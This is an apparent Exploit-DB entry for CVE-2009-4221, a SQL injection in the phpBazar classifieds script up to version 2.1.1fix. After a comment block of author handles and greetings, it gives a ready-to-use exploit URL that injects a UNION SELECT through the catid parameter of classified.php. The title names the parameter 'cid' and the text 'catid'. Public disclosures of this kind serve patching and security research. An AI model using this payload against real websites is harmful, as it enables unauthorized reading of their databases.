phpBazar <= 2.1.1fix cid SQL Injection

2009-11-28T00:00:00
ID EDB-ID:10245
Type exploitdb
Reporter MizoZ
Modified 2009-11-28T00:00:00

Description

phpBazar <= 2.1.1fix (cid) SQL Injection. CVE-2009-4221. Webapps exploit for php platform

                                        
                                            /*

Author          : MizoZ [from MA]
Group           : EvilWay, evilway[at]mail[dot]com
Email           : mizozx[at]gmail[dot]com

Greetz          : Zuka, Dyle !!

MABROOK L3IIIIIIIIIID

*/

The vulnerability is in the $_GET['catid'] , exploit :
http://server/classified.php?catid=2+and+1=0+union+all+select+1,2,3,4,5,6,7--